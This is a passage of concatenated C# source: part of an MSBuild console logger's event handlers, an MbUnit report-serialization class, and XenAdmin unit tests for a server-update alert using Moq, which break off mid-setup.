new ColorResetter(Console.ResetColor)
)
{
// do nothing
}
/// <summary>
/// Initializes the logger, with alternate output handlers.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
/// <param name="verbosity"></param>
/// <param name="write"></param>
/// <param name="colorSet"></param>
/// <param name="colorReset"></param>
public SerialConsoleLogger
(
LoggerVerbosity verbosity,
WriteHandler write,
ColorSetter colorSet,
ColorResetter colorReset
)
{
InitializeConsoleMethods(verbosity, write, colorSet, colorReset);
}
#endregion
#region Methods
/// <summary>
/// Reset the states of per-build member variables
/// VSW#516376
/// </summary>
internal override void ResetConsoleLoggerState()
{
if (ShowSummary)
{
errorList = new ArrayList();
warningList = new ArrayList();
}
else
{
errorList = null;
warningList = null;
}
errorCount = 0;
warningCount = 0;
projectPerformanceCounters = null;
targetPerformanceCounters = null;
taskPerformanceCounters = null;
}
/// <summary>
/// Handler for build started events
/// </summary>
/// <param name="sender">sender (should be null)</param>
/// <param name="e">event arguments</param>
/// <owner>t-jeffv, sumedhk</owner>
public override void BuildStartedHandler(object sender, BuildStartedEventArgs e)
{
buildStarted = e.Timestamp;
// if verbosity is detailed or diagnostic
if (IsVerbosityAtLeast(LoggerVerbosity.Normal))
{
WriteLinePrettyFromResource("BuildStartedWithTime", e.Timestamp);
}
}
/// <summary>
/// Handler for build finished events
/// </summary>
/// <param name="sender">sender (should be null)</param>
/// <param name="e">event arguments</param>
/// <owner>t-jeffv, sumedhk</owner>
public override void BuildFinishedHandler(object sender, BuildFinishedEventArgs e)
{
// Show the performance summary iff the verbosity is diagnostic or the user specifically asked for it
// with a logger parameter.
if (this.showPerfSummary)
{
ShowPerfSummary();
}
// if verbosity is normal, detailed or diagnostic
if (IsVerbosityAtLeast(LoggerVerbosity.Normal))
{
if (e.Succeeded)
{
setColor(ConsoleColor.Green);
}
// Write the "Build Finished" event.
WriteNewLine();
WriteLinePretty(e.Message);
resetColor();
}
// The decision whether or not to show a summary at this verbosity
// was made during initalization. We just do what we're told.
if (ShowSummary)
{
ShowErrorWarningSummary();
if (IsVerbosityAtLeast(LoggerVerbosity.Normal))
{
// Emit text like:
// 1 Warning(s)
// 0 Error(s)
// Don't color the line if it's zero. (Per Whidbey behavior.)
if (warningCount > 0)
{
setColor(ConsoleColor.Yellow);
}
WriteLinePrettyFromResource(2, "WarningCount", warningCount);
resetColor();
if (errorCount > 0)
{
setColor(ConsoleColor.Red);
}
WriteLinePrettyFromResource(2, "ErrorCount", errorCount);
resetColor();
}
}
if (IsVerbosityAtLeast(LoggerVerbosity.Normal))
{
string timeElapsed = LogFormatter.FormatTimeSpan(e.Timestamp - buildStarted);
WriteNewLine();
WriteLinePrettyFromResource("TimeElapsed", timeElapsed);
}
ResetConsoleLoggerState();
}
/// <summary>
/// At the end of the build, repeats the errors and warnings that occurred
/// during the build, and displays the error count and warning count.
/// </summary>
private void ShowErrorWarningSummary()
{
if (warningCount == 0 && errorCount == 0) return;
// Make some effort to distinguish the summary from the previous output
WriteNewLine();
if (warningCount > 0)
{
setColor(ConsoleColor.Yellow);
foreach(BuildWarningEventArgs warningEventArgs in warningList)
{
WriteLinePretty(EventArgsFormatting.FormatEventMessage(warningEventArgs, runningWithCharacterFileType));
}
}
if (errorCount > 0)
{
setColor(ConsoleColor.Red);
foreach (BuildErrorEventArgs errorEventArgs in errorList)
{
WriteLinePretty(EventArgsFormatting.FormatEventMessage(errorEventArgs, runningWithCharacterFileType));
}
}
resetColor();
}
/// <summary>
/// Handler for project started events
/// </summary>
/// <param name="sender">sender (should be null)</param>
/// <param name="e">event arguments</param>
/// <owner>t-jeffv, sumedhk</owner>
public override void ProjectStartedHandler(object sender, ProjectStartedEventArgs e)
{
if (!contextStack.IsEmpty())
{
this.VerifyStack(contextStack.Peek().type == FrameType.Target, "Bad stack -- Top is project {0}", contextStack.Peek().ID);
}
// if verbosity is normal, detailed or diagnostic
if (IsVerbosityAtLeast(LoggerVerbosity.Normal))
{
ShowDeferredMessages();
// check for stack corruption
if (!contextStack.IsEmpty())
{
this.VerifyStack(contextStack.Peek().type == FrameType.Target, "Bad stack -- Top is target {0}", contextStack.Peek().ID);
}
contextStack.Push(new Frame(FrameType.Project,
false, // message not yet displayed
this.currentIndentLevel,
e.ProjectFile,
e.TargetNames,
null,
GetCurrentlyBuildingProjectFile()));
WriteProjectStarted();
}
else
{
contextStack.Push(new Frame(FrameType.Project,
false, // message not yet displayed
this.currentIndentLevel,
e.ProjectFile,
e.TargetNames,
null,
GetCurrentlyBuildingProjectFile()));
}
if (this.showPerfSummary)
{
PerformanceCounter counter = GetPerformanceCounter(e.ProjectFile, ref projectPerformanceCounters);
// Place the counter "in scope" meaning the project is executing right now.
counter.InScope = true;
}
if (Verbosity == LoggerVerbosity.Diagnostic && showItemAndPropertyList)
{
if (e.Properties != null)
{
ArrayList propertyList = ExtractPropertyList(e.Properties);
WriteProperties(propertyList);
}
if (e.Items != null)
{
SortedList itemList = ExtractItemList(e.Items);
WriteItems(itemList);
}
}
}
/// <summary>
/// Handler for project finished events
/// </summary>
/// <param name="sender">sender (should be null)</param>
/// <param name="e">event arguments</param>
/// <owner>t-jeffv, sumedhk</owner>
public override void ProjectFinishedHandler(object sender, ProjectFinishedEventArgs e)
{
if (this.showPerfSummary)
{
PerformanceCounter counter = GetPerformanceCounter(e.ProjectFile, ref projectPerformanceCounters);
// Place the counter "in scope" meaning the project is done executing right now.
counter.InScope = false;
}
// if verbosity is detailed or diagnostic,
// or there was an error or warning
if (contextStack.Peek().hasErrorsOrWarnings
|| (IsVerbosityAtLeast(LoggerVerbosity.Detailed)))
{
setColor(ConsoleColor.Cyan);
if (IsVerbosityAtLeast(LoggerVerbosity.Normal))
{
WriteNewLine();
}
WriteLinePretty(e.Message);
resetColor();
}
Frame top = contextStack.Pop();
this.VerifyStack(top.type == FrameType.Project, "Unexpected project frame {0}", top.ID);
this.VerifyStack(top.ID == e.ProjectFile, "Project frame {0} expected, but was {1}.", e.ProjectFile, top.ID);
}
/// <summary>
/// Handler for target started events
/// </summary>
/// <param name="sender">sender (should be null)</param>
/// <param name="e">event arguments</param>
/// <owner>t-jeffv, sumedhk</owner>
public override void TargetStartedHandler(object sender, TargetStartedEventArgs e)
{
contextStack.Push(new Frame(FrameType.Target,
false,
this.currentIndentLevel,
e.TargetName,
null,
e.TargetFile,
GetCurrentlyBuildingProjectFile()));
// if verbosity is detailed or diagnostic
if (IsVerbosityAtLeast(LoggerVerbosity.Detailed))
{
WriteTargetStarted();
}
if (this.showPerfSummary)
{
PerformanceCounter counter = GetPerformanceCounter(e.TargetName, ref targetPerformanceCounters);
// Place the counter "in scope" meaning the target is executing right now.
counter.InScope = true;
}
// Bump up the overall number of indents, so that anything within this target will show up
// indented.
this.currentIndentLevel++;
}
/// <summary>
/// Handler for target finished events
/// </summary>
/// <param name="sender">sender (should be null)</param>
/// <param name="e">event arguments</param>
/// <owner>t-jeffv, sumedhk</owner>
public override void TargetFinishedHandler(object sender, TargetFinishedEventArgs e)
{
// Done with the target, so shift everything left again.
this.currentIndentLevel--;
if (this.showPerfSummary)
{
PerformanceCounter counter = GetPerformanceCounter(e.TargetName, ref targetPerformanceCounters);
// Place the counter "in scope" meaning the target is done executing right now.
counter.InScope = false;
}
bool targetHasErrorsOrWarnings = contextStack.Peek().hasErrorsOrWarnings;
// if verbosity is diagnostic,
// or there was an error or warning and verbosity is normal or detailed
if ((targetHasErrorsOrWarnings && (IsVerbosityAtLeast(LoggerVerbosity.Normal)))
|| Verbosity == LoggerVerbosity.Diagnostic)
{
setColor(ConsoleColor.Cyan);
WriteLinePretty(e.Message);
resetColor();
}
Frame top = contextStack.Pop();
this.VerifyStack(top.type == FrameType.Target, "bad stack frame type");
this.VerifyStack(top.ID == e.TargetName, "bad stack frame id");
// set the value on the Project frame, for the ProjectFinished handler
if (targetHasErrorsOrWarnings)
{
SetErrorsOrWarningsOnCurrentFrame();
}
}
/// <summary>
/// Handler for task started events
/// </summary>
/// <param name="sender">sender (should be null)</param>
/// <param name="e">event arguments</param>
/// <owner>t-jeffv, sumedhk</owner>
public override void TaskStartedHandler(object sender, TaskStartedEventArgs e)
{
// if verbosity is detailed or diagnostic
if (IsVerbosityAtLeast(LoggerVerbosity.Detailed))
{
setColor(ConsoleColor.Cyan);
WriteLinePretty(e.Message);
resetColor();
}
if (this.showPerfSummary)
{
PerformanceCounter counter = GetPerformanceCounter(e.TaskName, ref taskPerformanceCounters);
// Place the counter "in scope" meaning the task is executing right now.
counter.InScope = true;
}
// Bump up the overall number of indents, so that anything within this task will show up
// indented.
this.currentIndentLevel++;
}
/// <summary>
/// Handler for task finished events
/// </summary>
/// <param name="sender">sender (should be null)</param>
/// <param name="e">event arguments</param>
/// <owner>t-jeffv, sumedhk</owner>
public override void TaskFinishedHandler(object sender, TaskFinishedEventArgs e)
{
// Done with the task, so shift everything left again.
this.currentIndentLevel--;
if (this.showPerfSummary)
{
PerformanceCounter counter = GetPerformanceCounter(e.TaskName, ref taskPerformanceCounters);
// Place the counter "in scope" meaning the task is done executing.
counter.InScope = false;
}
// if verbosity is detailed or diagnostic
if (IsVerbosityAtLeast(LoggerVerbosity.Detailed))
{
setColor(ConsoleColor.Cyan);
WriteLinePretty(e.Message);
resetColor();
}
}
/// <summary>
/// Prints an error event
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
public override void ErrorHandler(object sender, BuildErrorEventArgs e)
{
errorCount++;
SetErrorsOrWarningsOnCurrentFrame();
ShowDeferredMessages();
setColor(ConsoleColor.Red);
WriteLinePretty(EventArgsFormatting.FormatEventMessage(e, runningWithCharacterFileType));
if (ShowSummary)
{
errorList.Add(e);
}
resetColor();
}
/// <summary>
/// Prints a warning event
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
public override void WarningHandler(object sender, BuildWarningEventArgs e)
{
warningCount++;
SetErrorsOrWarningsOnCurrentFrame();
ShowDeferredMessages();
setColor(ConsoleColor.Yellow);
WriteLinePretty(EventArgsFormatting.FormatEventMessage(e, runningWithCharacterFileType));
if (ShowSummary)
{
warningList.Add(e);
}
resetColor();
}
/// <summary>
/// Prints a message event
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
public override void MessageHandler(object sender, BuildMessageEventArgs e)
{
bool print = false;
bool lightenText = false;
switch (e.Importance)
{
case MessageImportance.High:
print = IsVerbosityAtLeast(LoggerVerbosity.Minimal);
break;
case MessageImportance.Normal:
print = IsVerbosityAtLeast(LoggerVerbosity.Normal);
lightenText = true;
break;
case MessageImportance.Low:
print = IsVerbosityAtLeast(LoggerVerbosity.Detailed);
lightenText = true;
break;
default:
ErrorUtilities.VerifyThrow(false, "Impossible");
break;
}
if (print)
{
ShowDeferredMessages();
if (lightenText)
{
setColor(ConsoleColor.DarkGray);
}
// null messages are ok -- treat as blank line
string nonNullMessage = e.Message ?? String.Empty;
WriteLinePretty(nonNullMessage);
if (lightenText)
{
resetColor();
}
}
}
/// <summary>
/// Prints a custom event
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
public override void CustomEventHandler(object sender, CustomBuildEventArgs e)
{
// if verbosity is detailed or diagnostic
if (IsVerbosityAtLeast(LoggerVerbosity.Detailed))
{
// ignore custom events with null messages -- some other
// logger will handle them appropriately
if (e.Message != null)
{
ShowDeferredMessages();
WriteLinePretty(e.Message);
}
}
}
/// <summary>
/// Writes project started messages.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal void WriteProjectStarted()
{
this.VerifyStack(!contextStack.IsEmpty(), "Bad project stack");
//Pop the current project
Frame outerMost = contextStack.Pop();
this.VerifyStack(!outerMost.displayed, "Bad project stack on {0}", outerMost.ID);
this.VerifyStack(outerMost.type == FrameType.Project, "Bad project stack");
outerMost.displayed = true;
contextStack.Push(outerMost);
WriteProjectStartedText(outerMost.ID, outerMost.targetNames, outerMost.parentProjectFile,
this.IsVerbosityAtLeast(LoggerVerbosity.Normal) ? outerMost.indentLevel : 0);
}
/// <summary>
/// Displays the text for a project started message.
/// </summary>
/// <param name ="current">current project file</param>
/// <param name ="previous">previous project file</param>
/// <param name="targetNames">targets that are being invoked</param>
/// <param name="indentLevel">indentation level</param>
/// <owner>t-jeffv, sumedhk</owner>
private void WriteProjectStartedText(string current, string targetNames, string previous, int indentLevel)
{
if (!SkipProjectStartedText)
{
setColor(ConsoleColor.Cyan);
this.VerifyStack(current != null, "Unexpected null project stack");
WriteLinePretty(projectSeparatorLine);
if (previous == null)
{
if (string.IsNullOrEmpty(targetNames))
{
WriteLinePrettyFromResource(indentLevel, "ProjectStartedPrefixForTopLevelProjectWithDefaultTargets", current);
}
else
{
WriteLinePrettyFromResource(indentLevel, "ProjectStartedPrefixForTopLevelProjectWithTargetNames", current, targetNames);
}
}
else
{
if (string.IsNullOrEmpty(targetNames))
{
WriteLinePrettyFromResource(indentLevel, "ProjectStartedPrefixForNestedProjectWithDefaultTargets", previous, current);
}
else
{
WriteLinePrettyFromResource(indentLevel, "ProjectStartedPrefixForNestedProjectWithTargetNames", previous, current, targetNames);
}
}
// add a little bit of extra space
WriteNewLine();
resetColor();
}
}
/// <summary>
/// Writes target started messages.
/// </summary>
/// <owner>SumedhK</owner>
private void WriteTargetStarted()
{
Frame f = contextStack.Pop();
f.displayed = true;
contextStack.Push(f);
setColor(ConsoleColor.Cyan);
if (this.Verbosity == LoggerVerbosity.Diagnostic)
{
WriteLinePrettyFromResource(f.indentLevel, "TargetStartedFromFile", f.ID, f.file);
}
else
{
WriteLinePrettyFromResource(this.IsVerbosityAtLeast(LoggerVerbosity.Normal) ? f.indentLevel : 0,
"TargetStartedPrefix", f.ID);
}
resetColor();
}
/// <summary>
/// Determines the currently building project file.
/// </summary>
/// <returns>name of project file currently being built</returns>
/// <owner>RGoel</owner>
private string GetCurrentlyBuildingProjectFile()
{
if (contextStack.IsEmpty())
{
return null;
}
Frame topOfStack = contextStack.Peek();
// If the top of the stack is a TargetStarted event, then its parent project
// file is the one we want.
if (topOfStack.type == FrameType.Target)
{
return topOfStack.parentProjectFile;
}
// If the top of the stack is a ProjectStarted event, then its ID is the project
// file we want.
else if (topOfStack.type == FrameType.Project)
{
return topOfStack.ID;
}
else
{
ErrorUtilities.VerifyThrow(false, "Unexpected frame type.");
return null;
}
}
/// <summary>
/// Displays project started and target started messages that
/// are shown only when the associated project or target produces
/// output.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
private void ShowDeferredMessages()
{
if (contextStack.IsEmpty())
{
return;
}
if (!contextStack.Peek().displayed)
{
Frame f = contextStack.Pop();
ShowDeferredMessages();
//push now, so that the stack is in a good state
//for WriteProjectStarted() and WriteLinePretty()
//because we use the stack to control indenting
contextStack.Push(f);
switch (f.type)
{
case FrameType.Project:
WriteProjectStarted();
break;
case FrameType.Target:
// Only do things if we're at normal verbosity. If
// we're at a higher verbosity, we can assume that all
// targets have already be printed. If we're at lower
// verbosity we don't need to print at all.
ErrorUtilities.VerifyThrow(this.Verbosity < LoggerVerbosity.Detailed,
"This target should have already been printed at a higher verbosity.");
if (IsVerbosityAtLeast(LoggerVerbosity.Normal))
{
WriteTargetStarted();
}
break;
default:
ErrorUtilities.VerifyThrow(false, "Unexpected frame type.");
break;
}
}
}
/// <summary>
/// Marks the current frame to indicate that an error or warning
/// occurred during it.
/// </summary>
/// <owner>danmose</owner>
private void SetErrorsOrWarningsOnCurrentFrame()
{
// under unit test, there may not be frames on the stack
if (contextStack.Count == 0)
{
return;
}
Frame frame = contextStack.Pop();
frame.hasErrorsOrWarnings = true;
contextStack.Push(frame);
}
/// <summary>
/// Checks the condition passed in. If it's false, it emits an error message to the console
/// indicating that there's a problem with the console logger. These "problems" should
/// never occur in the real world after we ship, unless there's a bug in the MSBuild
/// engine such that events aren't getting paired up properly. So the messages don't
/// really need to be localized here, since they're only for our own benefit, and have
/// zero value to a customer.
/// </summary>
/// <param name="condition"></param>
/// <param name="unformattedMessage"></param>
/// <param name="args"></param>
/// <owner>RGoel</owner>
private void VerifyStack
(
bool condition,
string unformattedMessage,
params object[] args
)
{
if (!condition && !ignoreLoggerErrors)
{
string errorMessage = "INTERNAL CONSOLE LOGGER ERROR. " + ResourceUtilities.FormatString(unformattedMessage, args);
BuildErrorEventArgs errorEvent = new BuildErrorEventArgs(null, null, null, 0, 0, 0, 0,
errorMessage, null, null);
Debug.Assert(false, errorMessage);
ErrorHandler(null, errorEvent);
}
}
#endregion
#region Supporting classes
/// <summary>
/// This enumeration represents the kinds of context that can be
/// stored in the context stack.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal enum FrameType
{
Project,
Target
}
/// <summary>
/// This struct represents context information about a single
/// target or project.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal struct Frame
{
/// <summary>
/// Creates a new instance of frame with all fields specified.
/// </summary>
/// <param name="t">the type of the this frame</param>
/// <param name="d">display state. true indicates this frame has been displayed to the user</param>
/// <param name="indent">indentation level for this frame</param>
/// <param name="s">frame id</param>
/// <param name="targets">targets to execute, in the case of a project frame</param>
/// <param name="fileOfTarget">the file name where the target is defined</param>
/// <param name="parent">parent project file</param>
/// <owner>t-jeffv, sumedhk</owner>
internal Frame
(
FrameType t,
bool d,
int indent,
string s,
string targets,
string fileOfTarget,
string parent
)
{
type = t;
displayed = d;
indentLevel = indent;
ID = s;
targetNames = targets;
file = fileOfTarget;
hasErrorsOrWarnings = false;
parentProjectFile = parent;
}
/// <summary>
/// Indicates if project or target frame.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal FrameType type;
/// <summary>
/// Set to true to indicate the user has seen a message about this frame.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal bool displayed;
/// <summary>
/// The number of tabstops to indent this event when it is eventually displayed.
/// </summary>
/// <owner>RGoel</owner>
internal int indentLevel;
/// <summary>
/// A string associated with this frame -- should be a target name
/// or a project file.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal string ID;
/// <summary>
/// For a TargetStarted or a ProjectStarted event, this field tells us
/// the name of the *parent* project file that was responsible.
/// </summary>
internal string parentProjectFile;
/// <summary>
/// Stores the TargetNames from the ProjectStarted event. Null for Target frames.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal string targetNames;
/// <summary>
/// For TargetStarted events, this stores the filename where the Target is defined
/// (e.g., Microsoft.Common.targets). This is different than the project that is
/// being built.
/// For ProjectStarted events, this is null.
/// </summary>
internal string file;
/// <summary>
/// True if there were errors/warnings during the project or target frame.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal bool hasErrorsOrWarnings;
}
/// <summary>
/// The FrameStack class represents a (lifo) stack of Frames.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal class FrameStack
{
/// <summary>
/// The frames member is contained by FrameStack and does
/// all the heavy lifting for FrameStack.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
private System.Collections.Stack frames;
/// <summary>
/// Create a new, empty, FrameStack.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal FrameStack()
{
frames = new System.Collections.Stack();
}
/// <summary>
/// Remove and return the top element in the stack.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
/// <exception cref="InvalidOperationException">Thrown when stack is empty.</exception>
internal Frame Pop()
{
return (Frame)(frames.Pop());
}
/// <summary>
/// Returns, but does not remove, the top of the stack.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal Frame Peek()
{
return (Frame)(frames.Peek());
}
/// <summary>
/// Push(f) adds f to the top of the stack.
/// </summary>
/// <param name="f">a frame to push</param>
/// <owner>t-jeffv, sumedhk</owner>
internal void Push(Frame f)
{
frames.Push(f);
}
/// <summary>
/// Constant property that indicates the number of elements
/// in the stack.
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal int Count
{
get
{
return frames.Count;
}
}
/// <summary>
/// s.IsEmpty() is true iff s.Count == 0
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal bool IsEmpty()
{
return frames.Count == 0;
}
}
#endregion
#region Private member data
/// <summary>
/// contextStack is the only interesting state in the console
/// logger. The context stack contains a sequence of frames
/// denoting current and previous containing projects and targets
/// </summary>
/// <owner>t-jeffv, sumedhk</owner>
internal FrameStack contextStack = new FrameStack();
#endregion
}
}
| |
// MbUnit Test Framework
//
// Copyright (c) 2004 Jonathan de Halleux
//
// This software is provided 'as-is', without any express or implied warranty.
//
// In no event will the authors be held liable for any damages arising from
// the use of this software.
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented;
// you must not claim that you wrote the original software.
// If you use this software in a product, an acknowledgment in the product
// documentation would be appreciated but is not required.
//
// 2. Altered source versions must be plainly marked as such, and must
// not be misrepresented as being the original software.
//
// 3. This notice may not be removed or altered from any source
// distribution.
//
// MbUnit HomePage: http://www.mbunit.com
// Author: Jonathan de Halleux
namespace MbUnit.Core.Reports.Serialization
{
using System;
using System.Xml;
using System.Xml.Serialization;
/// <summary />
/// <remarks />
[XmlType(IncludeInSchema=true, TypeName="report-namespace")]
[XmlRoot(ElementName="report-namespace")]
[Serializable]
public sealed class ReportNamespace {
/// <summary />
/// <remarks />
private string _name;
/// <summary />
/// <remarks />
private NamespaceCollection _nameSpaces = new NamespaceCollection();
/// <summary />
/// <remarks />
private ReportCounter _counter;
/// <summary />
/// <remarks />
private FixtureCollection _fixtures = new FixtureCollection();
public void UpdateCounts()
{
this.Counter = new ReportCounter();
foreach(ReportNamespace child in this.Namespaces)
{
child.UpdateCounts();
this.Counter.AddCounts(child.Counter);
}
foreach(ReportFixture fixture in this.Fixtures)
{
fixture.UpdateCounts();
this.Counter.AddCounts(fixture.Counter);
}
}
/// <summary />
/// <remarks />
[XmlElement(ElementName="counter")]
public ReportCounter Counter {
get {
return this._counter;
}
set {
this._counter = value;
}
}
/// <summary />
/// <remarks />
[XmlArray(ElementName="namespaces")]
[XmlArrayItem(ElementName="namespace", Type=typeof(ReportNamespace), IsNullable=false)]
public NamespaceCollection Namespaces {
get {
return this._nameSpaces;
}
set {
this._nameSpaces = value;
}
}
/// <summary />
/// <remarks />
[XmlArray(ElementName="fixtures")]
[XmlArrayItem(ElementName="fixture", Type=typeof(ReportFixture), IsNullable=false)]
public FixtureCollection Fixtures {
get {
return this._fixtures;
}
set {
this._fixtures = value;
}
}
/// <summary />
/// <remarks />
[XmlAttribute(AttributeName="name")]
public string Name {
get {
return this._name;
}
set {
this._name = value;
}
}
[Serializable]
public sealed class NamespaceCollection : System.Collections.CollectionBase
{
/// <summary />
/// <remarks />
public NamespaceCollection() {
}
/// <summary />
/// <remarks />
public object this[int index] {
get {
return this.List[index];
}
set {
this.List[index] = value;
}
}
/// <summary />
/// <remarks />
public void Add(object o) {
this.List.Add(o);
}
/// <summary />
/// <remarks />
public void AddReportNamespace(ReportNamespace o) {
this.List.Add(o);
}
/// <summary />
/// <remarks />
public bool ContainsReportNamespace(ReportNamespace o) {
return this.List.Contains(o);
}
/// <summary />
/// <remarks />
public void RemoveReportNamespace(ReportNamespace o) {
this.List.Remove(o);
}
}
[Serializable]
public sealed class FixtureCollection : System.Collections.CollectionBase
{
/// <summary />
/// <remarks />
public FixtureCollection() {
}
/// <summary />
/// <remarks />
public object this[int index] {
get {
return this.List[index];
}
set {
this.List[index] = value;
}
}
/// <summary />
/// <remarks />
public void Add(object o) {
this.List.Add(o);
}
/// <summary />
/// <remarks />
public void AddReportFixture(ReportFixture o) {
this.List.Add(o);
}
/// <summary />
/// <remarks />
public bool ContainsReportFixture(ReportFixture o) {
return this.List.Contains(o);
}
/// <summary />
/// <remarks />
public void RemoveReportFixture(ReportFixture o) {
this.List.Remove(o);
}
}
}
}
| |
/* Copyright (c) Citrix Systems, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms,
* with or without modification, are permitted provided
* that the following conditions are met:
*
* * Redistributions of source code must retain the above
* copyright notice, this list of conditions and the
* following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the
* following disclaimer in the documentation and/or other
* materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
* CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
using System;
using System.Collections.Generic;
using Moq;
using NUnit.Framework;
using XenAdmin.Alerts;
using XenAdmin.Core;
using XenAdmin.Network;
using XenAPI;
namespace XenAdminTests.UnitTests.AlertTests
{
[TestFixture, Category(TestCategories.Unit)]
public class XenServerUpdateAlertTests
{
private Mock<IXenConnection> connA;
private Mock<IXenConnection> connB;
private Mock<Host> hostA;
private Mock<Host> hostB;
protected Cache cacheA;
protected Cache cacheB;
[Test]
public void TestAlertWithConnectionAndHosts()
{
XenServerVersion ver = new XenServerVersion("1.2.3", "name", true, false, "http://url", new List<XenServerPatch>(), new List<XenServerPatch>(), new DateTime(2011, 4, 1).ToString(), "123", "", false, "", "", "", "", "");
var alert = new XenServerVersionAlert(ver);
alert.IncludeConnection(connA.Object);
alert.IncludeConnection(connB.Object);
alert.IncludeHosts(new List<Host>() { hostA.Object, hostB.Object });
ClassVerifiers.VerifyGetters(alert, new AlertClassUnitTestData
{
AppliesTo = "HostAName, HostBName, ConnAName, ConnBName",
FixLinkText = "Go to Web Page",
HelpID = "XenServerUpdateAlert",
Description = "name is now available. Download the latest at the " + XenAdmin.Branding.COMPANY_NAME_SHORT + " website.",
HelpLinkText = "Help",
Title = "name is now available",
Priority = "Priority5"
});
Assert.IsFalse(alert.CanIgnore);
VerifyConnExpectations(Times.Once);
VerifyHostsExpectations(Times.Once);
}
[Test]
public void TestAlertWithHostsAndNoConnection()
{
XenServerVersion ver = new XenServerVersion("1.2.3", "name", true, false, "http://url", new List<XenServerPatch>(), new List<XenServerPatch>(), new DateTime(2011, 4, 1).ToString(), "123", "", false, "", "", "", "", "");
var alert = new XenServerVersionAlert(ver);
alert.IncludeHosts(new List<Host> { hostA.Object, hostB.Object });
ClassVerifiers.VerifyGetters(alert, new AlertClassUnitTestData
{
AppliesTo = "HostAName, HostBName",
FixLinkText = "Go to Web Page",
HelpID = "XenServerUpdateAlert",
Description = "name is now available. Download the latest at the " + XenAdmin.Branding.COMPANY_NAME_SHORT + " website.",
HelpLinkText = "Help",
Title = "name is now available",
Priority = "Priority5"
});
Assert.IsFalse(alert.CanIgnore);
VerifyConnExpectations(Times.Never);
VerifyHostsExpectations(Times.Once);
}
[Test]
public void TestAlertWithConnectionAndNoHosts()
{
XenServerVersion ver = new XenServerVersion("1.2.3", "name", true, false, "http://url", new List<XenServerPatch>(), new List<XenServerPatch>(), new DateTime(2011, 4, 1).ToString(), "123", "", false, "", "", "", "", "");
var alert = new XenServerVersionAlert(ver);
alert.IncludeConnection(connA.Object);
alert.IncludeConnection(connB.Object);
ClassVerifiers.VerifyGetters(alert, new AlertClassUnitTestData
{
AppliesTo = "ConnAName, ConnBName",
FixLinkText = "Go to Web Page",
HelpID = "XenServerUpdateAlert",
Description = "name is now available. Download the latest at the " + XenAdmin.Branding.COMPANY_NAME_SHORT + " website.",
HelpLinkText = "Help",
Title = "name is now available",
Priority = "Priority5"
});
Assert.IsFalse(alert.CanIgnore);
VerifyConnExpectations(Times.Once);
VerifyHostsExpectations(Times.Never);
}
[Test]
public void TestAlertWithNoConnectionAndNoHosts()
{
XenServerVersion ver = new XenServerVersion("1.2.3", "name", true, false, "http://url", new List<XenServerPatch>(), new List<XenServerPatch>(), new DateTime(2011, 4, 1).ToString(), "123", "", false, "", "", "", "", "");
var alert = new XenServerVersionAlert(ver);
ClassVerifiers.VerifyGetters(alert, new AlertClassUnitTestData
{
AppliesTo = string.Empty,
FixLinkText = "Go to Web Page",
HelpID = "XenServerUpdateAlert",
Description = "name is now available. Download the latest at the " + XenAdmin.Branding.COMPANY_NAME_SHORT + " website.",
HelpLinkText = "Help",
Title = "name is now available",
Priority = "Priority5"
});
Assert.IsTrue(alert.CanIgnore);
VerifyConnExpectations(Times.Never);
VerifyHostsExpectations(Times.Never);
}
[Test]
public void TestAlertWithNullVersion()
{
Assert.Throws(typeof(NullReferenceException), () => new XenServerVersionAlert(null));
}
private void VerifyConnExpectations(Func<Times> times)
{
connA.Verify(n => n.Name, times());
connB.Verify(n => n.Name, times());
}
private void VerifyHostsExpectations(Func<Times> times)
{
hostA.Verify(n => n.Name(), times());
hostB.Verify(n => n.Name(), times());
}
[SetUp]
public void TestSetUp()
{
connA = new Mock<IXenConnection>(MockBehavior.Strict);
connA.Setup(n => n.Name).Returns("ConnAName");
cacheA = new Cache();
connA.Setup(x => x.Cache).Returns(cacheA);
connB = new Mock<IXenConnection>(MockBehavior.Strict);
connB.Setup(n => n.Name).Returns("ConnBName");
cacheB = new Cache();
